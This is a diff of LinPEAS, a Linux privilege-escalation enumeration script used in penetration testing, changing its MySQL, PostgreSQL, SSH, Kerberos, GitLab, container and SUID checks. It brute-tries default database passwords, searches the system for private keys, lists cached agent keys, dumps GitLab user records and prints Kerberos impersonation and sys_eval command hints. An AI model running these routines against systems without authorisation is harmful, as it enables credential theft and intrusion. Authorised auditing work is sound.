brew list print_2title "Installed Compilers"
echo "" (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
echo ""
if [ "$(command -v pkg 2>/dev/null)" ]; then
print_2title "Vulnerable Packages"
pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g"
echo ""
fi
if [ "$(command -v brew 2>/dev/null)" ]; then
print_2title "Brew Installed Packages"
brew list
echo ""
fi
fi fi
if [ "$MACPEAS" ]; then if [ "$MACPEAS" ]; then
@@ -41,13 +45,18 @@ if [ "$MACPEAS" ]; then
done done
fi fi
#-- SI) Mysql version #-- SI) MySQL version
if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then
print_2title "MySQL version" print_2title "MySQL version"
mysql --version 2>/dev/null || echo_not_found "mysql" mysql --version 2>/dev/null || echo_not_found "mysql"
mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1)
if [ "$mysqluser" ]; then
echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
fi
echo ""
echo "" echo ""
#-- SI) Mysql connection root/root #-- SI) MySQL connection root/root
print_list "MySQL connection using default root/root ........... " print_list "MySQL connection using default root/root ........... "
mysqlconnect=$(mysqladmin -uroot -proot version 2>/dev/null) mysqlconnect=$(mysqladmin -uroot -proot version 2>/dev/null)
if [ "$mysqlconnect" ]; then if [ "$mysqlconnect" ]; then
@@ -56,7 +65,7 @@ if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ];
else echo_no else echo_no
fi fi
#-- SI) Mysql connection root/toor #-- SI) MySQL connection root/toor
print_list "MySQL connection using root/toor ................... " print_list "MySQL connection using root/toor ................... "
mysqlconnect=$(mysqladmin -uroot -ptoor version 2>/dev/null) mysqlconnect=$(mysqladmin -uroot -ptoor version 2>/dev/null)
if [ "$mysqlconnect" ]; then if [ "$mysqlconnect" ]; then
@@ -65,7 +74,7 @@ if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ];
else echo_no else echo_no
fi fi
#-- SI) Mysql connection root/NOPASS #-- SI) MySQL connection root/NOPASS
mysqlconnectnopass=$(mysqladmin -uroot version 2>/dev/null) mysqlconnectnopass=$(mysqladmin -uroot version 2>/dev/null)
print_list "MySQL connection using root/NOPASS ................. " print_list "MySQL connection using root/NOPASS ................. "
if [ "$mysqlconnectnopass" ]; then if [ "$mysqlconnectnopass" ]; then
@@ -76,11 +85,11 @@ if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ];
echo "" echo ""
fi fi
#-- SI) Mysql credentials #-- SI) MySQL credentials
if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
print_2title "Searching mysql credentials and exec" print_2title "Searching mysql credentials and exec"
printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do
if [ -f "$d" ]; then if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds)
STRINGS="`command -v strings`" STRINGS="`command -v strings`"
echo "Potential file containing credentials:" echo "Potential file containing credentials:"
ls -l "$d" ls -l "$d"
@@ -120,9 +129,9 @@ if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
done done
fi fi
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so") mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so")
if [ "$mysqlexec" ]; then if [ "$mysqlexec" ]; then
echo "Found $mysqlexec" echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)"
echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED}," echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED},"
fi fi
done done
@@ -135,14 +144,14 @@ peass{PostgreSQL}
#-- SI) PostgreSQL brute #-- SI) PostgreSQL brute
if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it. if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it.
#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this # Checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this
print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ " print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ "
if [ "$(timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," if [ "$(timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED},"
else echo_no else echo_no
fi fi
print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ " print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ "
if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.)*,${SED_RED}," if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED},"
else echo_no else echo_no
fi fi
@@ -207,23 +216,35 @@ fi
#-- SI) ssh files #-- SI) ssh files
print_2title "Searching ssl/ssh files" print_2title "Searching ssl/ssh files"
if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi
sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)" if ! [ "$SEARCH_IN_FOLDER" ]; then
hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)" sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)"
hostsallow="$(ls /etc/hosts.allow 2>/dev/null)" hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null) hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
else
sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)"
hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)"
hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)"
writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
fi
peass{SSH} peass{SSH}
grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED}," grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
if [ "$TIMEOUT" ]; then if ! [ "$SEARCH_IN_FOLDER" ]; then
privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) if [ "$TIMEOUT" ]; then
privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null) privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)
privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null) privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null)
privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null) privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null)
privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null)
else
privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) # If there is tons of files linpeas gets frozen here without a timeout
privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null)
fi
else else
privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout # If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware
privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null) privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null)
fi fi
if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then
@@ -256,7 +277,7 @@ if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then
ssh-add -l ssh-add -l
echo "" echo ""
fi fi
if gpg-connect-agent "keyinfo --list" /bye | grep "D - - 1"; then if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then
print_3title "Listing gpg keys cached in gpg-agent" print_3title "Listing gpg keys cached in gpg-agent"
gpg-connect-agent "keyinfo --list" /bye gpg-connect-agent "keyinfo --list" /bye
echo "" echo ""
@@ -273,29 +294,29 @@ fi
if [ "$hostsdenied" ]; then if [ "$hostsdenied" ]; then
print_3title "/etc/hosts.denied file found, read the rules:" print_3title "/etc/hosts.denied file found, read the rules:"
printf "$hostsdenied\n" printf "$hostsdenied\n"
cat "/etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN}," cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
echo "" echo ""
fi fi
if [ "$hostsallow" ]; then if [ "$hostsallow" ]; then
print_3title "/etc/hosts.allow file found, trying to read the rules:" print_3title "/etc/hosts.allow file found, trying to read the rules:"
printf "$hostsallow\n" printf "$hostsallow\n"
cat "/etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED}," cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
echo "" echo ""
fi fi
if [ "$sshconfig" ]; then if [ "$sshconfig" ]; then
echo "" echo ""
echo "Searching inside /etc/ssh/ssh_config for interesting info" echo "Searching inside /etc/ssh/ssh_config for interesting info"
grep -v "^#" /etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED}," grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
fi fi
echo "" echo ""
peass{PAM Auth} peass{PAM Auth}
#-- SI) Passwords inside pam.d #-- SI) Passwords inside pam.d
pamdpass=$(grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#") pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#")
if [ "$pamdpass" ] || [ "$DEBUG" ]; then if [ "$pamdpass" ] || [ "$DEBUG" ]; then
print_2title "Passwords inside pam.d" print_2title "Passwords inside pam.d"
grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED}," grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
echo "" echo ""
fi fi
@@ -304,16 +325,20 @@ peass{NFS Exports}
#-- SI) Kerberos #-- SI) Kerberos
kadmin_exists="$(command -v kadmin)" kadmin_exists="$(command -v kadmin)"
klist_exists="$(command -v klist)" klist_exists="$(command -v klist)"
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then kinit_exists="$(command -v kinit)"
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
print_2title "Searching kerberos conf files and tickets" print_2title "Searching kerberos conf files and tickets"
print_info "http://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-active-directory" print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory"
if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi
if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g"; if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g";
else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g"; else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g";
fi fi
(env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g"
printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do
if [ -r "$f" ]; then if [ -r "$f" ]; then
@@ -327,8 +352,8 @@ if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [
printf "$(klist -k $f 2>/dev/null)\n" | awk '{print $2}' | while read l; do printf "$(klist -k $f 2>/dev/null)\n" | awk '{print $2}' | while read l; do
if [ "$l" ] && echo "$l" | grep -q "@"; then if [ "$l" ] && echo "$l" | grep -q "@"; then
printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${SED_RED},g" printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${SED_RED},g"
#kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid # kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid
#We could also try to create a new user or modify a password, but I'm not user if linpeas should do that # We could also try to create a new user or modify a password, but I'm not user if linpeas should do that
fi fi
done done
elif echo "$f" | grep -q krb5.conf; then elif echo "$f" | grep -q krb5.conf; then
@@ -355,6 +380,8 @@ if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [
fi fi
peass{FreeIPA}
peass{Knockd} peass{Knockd}
peass{Kibana} peass{Kibana}
@@ -396,9 +423,9 @@ if [ "$adhashes" ] || [ "$DEBUG" ]; then
fi fi
#-- SI) Screen sessions #-- SI) Screen sessions
if [ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]; then if ([ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching screen sessions" print_2title "Searching screen sessions"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
screensess=$(screen -ls 2>/dev/null) screensess=$(screen -ls 2>/dev/null)
screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null) screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null)
@@ -415,9 +442,9 @@ fi
tmuxdefsess=$(tmux ls 2>/dev/null) tmuxdefsess=$(tmux ls 2>/dev/null)
tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep) tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep)
tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null) tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null)
if [ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]; then if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching tmux sessions"$N print_2title "Searching tmux sessions"$N
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
tmux -V tmux -V
printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m," printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m,"
@@ -453,6 +480,12 @@ peass{Mosquitto}
peass{Neo4j} peass{Neo4j}
AWSVAULT="$(command -v aws-vault 2>/dev/null)"
if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then
print_2title "Check aws-vault"
aws-vault list
fi
peass{Cloud Credentials} peass{Cloud Credentials}
peass{Cloud Init} peass{Cloud Init}
@@ -478,7 +511,7 @@ SPLUNK_BIN="$(command -v splunk 2>/dev/null)"
if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then
print_2title "Searching uncommon passwd files (splunk)" print_2title "Searching uncommon passwd files (splunk)"
if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi
printf "%s\n" "$PSTORAGE_SPLUNK" | sort | uniq | while read f; do printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do
if [ -f "$f" ] && ! [ -x "$f" ]; then if [ -f "$f" ] && ! [ -x "$f" ]; then
echo "passwd file: $f" | sed "s,$f,${SED_RED}," echo "passwd file: $f" | sed "s,$f,${SED_RED},"
cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED}," cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED},"
@@ -500,7 +533,7 @@ fi
##-- SI) Gitlab ##-- SI) Gitlab
if [ "$(command -v gitlab-rails)" ] || [ "$(command -v gitlab-backup)" ] || [ "$PSTORAGE_GITLAB" ] || [ "$DEBUG" ]; then if [ "$(command -v gitlab-rails)" ] || [ "$(command -v gitlab-backup)" ] || [ "$PSTORAGE_GITLAB" ] || [ "$DEBUG" ]; then
print_2title "Searching GitLab related files" print_2title "Searching GitLab related files"
#Check gitlab-rails # Check gitlab-rails
if [ "$(command -v gitlab-rails)" ]; then if [ "$(command -v gitlab-rails)" ]; then
echo "gitlab-rails was found. Trying to dump users..." echo "gitlab-rails was found. Trying to dump users..."
gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${SED_RED}," gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${SED_RED},"
@@ -513,7 +546,7 @@ if [ "$(command -v gitlab-rails)" ] || [ "$(command -v gitlab-backup)" ] || [ "$
echo "Then you can get the plain-text with something like 'git clone \@hashed/19/23/14348274[...]38749234.bundle'" echo "Then you can get the plain-text with something like 'git clone \@hashed/19/23/14348274[...]38749234.bundle'"
echo "" echo ""
fi fi
#Check gitlab files # Check gitlab files
printf "%s\n" "$PSTORAGE_GITLAB" | sort | uniq | while read f; do printf "%s\n" "$PSTORAGE_GITLAB" | sort | uniq | while read f; do
if echo $f | grep -q secrets.yml; then if echo $f | grep -q secrets.yml; then
echo "Found $f" | sed "s,$f,${SED_RED}," echo "Found $f" | sed "s,$f,${SED_RED},"
@@ -541,32 +574,36 @@ peass{Cache Vi}
peass{Wget} peass{Wget}
##-- SI) containerd installed ##-- SI) containerd installed
containerd=$(command -v ctr) if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$containerd" ] || [ "$DEBUG" ]; then containerd=$(command -v ctr)
print_2title "Checking if containerd(ctr) is available" if [ "$containerd" ] || [ "$DEBUG" ]; then
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation" print_2title "Checking if containerd(ctr) is available"
if [ "$containerd" ]; then print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," if [ "$containerd" ]; then
ctr image list echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
ctr image list 2>&1
fi
echo ""
fi fi
echo ""
fi fi
##-- SI) runc installed ##-- SI) runc installed
runc=$(command -v runc) if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$runc" ] || [ "$DEBUG" ]; then runc=$(command -v runc)
print_2title "Checking if runc is available" if [ "$runc" ] || [ "$DEBUG" ]; then
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation" print_2title "Checking if runc is available"
if [ "$runc" ]; then print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," if [ "$runc" ]; then
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
fi
echo ""
fi fi
echo ""
fi fi
#-- SI) Docker #-- SI) Docker
if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then
print_2title "Searching docker files (limit 70)" print_2title "Searching docker files (limit 70)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation"
printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do
ls -l "$f" 2>/dev/null ls -l "$f" 2>/dev/null
if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then

View File

@@ -0,0 +1,491 @@
###########################################
#-) Files with Interesting Permissions (-#
###########################################
check_critial_root_path(){
folder_path="$1"
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
}
##-- IPF) SUID
print_2title "SUID - Check easy privesc, exploits and write perms"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
if ! [ "$STRINGS" ]; then
echo_not_found "strings"
fi
if ! [ "$STRACE" ]; then
echo_not_found "strace"
fi
suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
for s in $suids_files; do
s=$(ls -lahtr "$s")
# If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
if echo "$s" | grep -qE "^total"; then break; fi
sname="$(echo $s | awk '{print $9}')"
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
true # Don't do nothing
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then # If write permision, win found (no check exploits)
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
c="a"
for b in $sidB; do
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
c=""
break;
fi
done;
if [ "$c" ]; then
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
else
echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED},"
printf $ITALIC
if ! [ "$FAST" ]; then
if [ "$STRINGS" ]; then
$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
if echo "$sline_first" | grep -qEv "$cfuncs"; then
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then # If a path
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then # And modifiable
